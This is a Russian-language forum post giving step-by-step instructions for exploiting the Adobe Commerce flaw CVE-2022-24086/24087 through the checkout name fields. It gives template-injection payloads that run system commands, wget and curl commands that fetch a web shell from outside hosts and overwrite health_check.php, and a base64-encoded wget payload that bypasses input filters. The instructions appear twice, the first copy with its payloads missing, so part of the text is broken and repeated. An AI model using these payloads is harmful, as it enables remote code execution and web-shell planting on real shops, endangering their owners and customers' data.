devqp
Специалист
Уязвимость CVE-2022-24086 затрагивает Adobe Commerce версий 2.4.3-p1 и ранее, а также 2.3.7-p2 и ранее. Она позволяет выполнить произвольный код без аутентификации пользователя через недостаточную валидацию входных данных на этапе оформления заказа. Эксплуатация возможна только на сайтах, использующих стандартные email-шаблоны.
Шаги эксплуатации:
1. Создайте учетную запись на целевом сайте, добавьте товар в корзину и перейдите на страницу оформления заказа.
2. Для проверки уязвимости введите в поле "Имя" payload:
Если в подтверждении заказа отображается путь к файлам — уязвимость присутствует.
Загрузка шелла:
Используйте один из методов:
• Замена health_check.php через wget:
• Альтернатива с curl:
Обход фильтров через base64:
• В поле "Имя":
• В поле "Фамилия" (где encoded-base64 — payload в base64):
Важно:
• PHP выполняется только в директории /pub. Если путь из pwd оканчивается на /pub, используйте относительные пути, иначе — абсолютные с добавлением /pub.
• Пример base64-пакета для wget:
Уязвимость CVE-2022-24087 также активно эксплуатируется в дикой природе.
Шаги эксплуатации:
1. Создайте учетную запись на целевом сайте, добавьте товар в корзину и перейдите на страницу оформления заказа.
2. Для проверки уязвимости введите в поле "Имя" payload:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(pwd)}}
Загрузка шелла:
Используйте один из методов:
• Замена health_check.php через wget:
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(wget${IFS%??}-O${IFS%??}health_check.php${IFS%??}mydomain.com/shell.php)}}
Код:
{{var this.getTemplateFilter().filter(foobar)}}{{var this.getTemplateFilter().addAfterFilterCallback(system).filter(curl${IFS%??}-o${IFS%??}health_check.php${IFS%??}myshell.com/shell.txt)}}
Обход фильтров через base64:
• В поле "Имя":
Код:
{{if this.getTemplateFilter().filter(dummy)}}fname{{/if}}
Код:
{{if this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).Filter(encoded-base64)}}m{{/if}}
Важно:
• PHP выполняется только в директории /pub. Если путь из pwd оканчивается на /pub, используйте относительные пути, иначе — абсолютные с добавлением /pub.
• Пример base64-пакета для wget:
Код:
d2dldCAtTyAvaG9tZS9jb2lsL3B1YmxpY19odG1sL3B1Yi9oZWFsdGhfY2hlY2sucGhwIGhhaGEuY29tL2hhaGEucGhw
Уязвимость CVE-2022-24087 также активно эксплуатируется в дикой природе.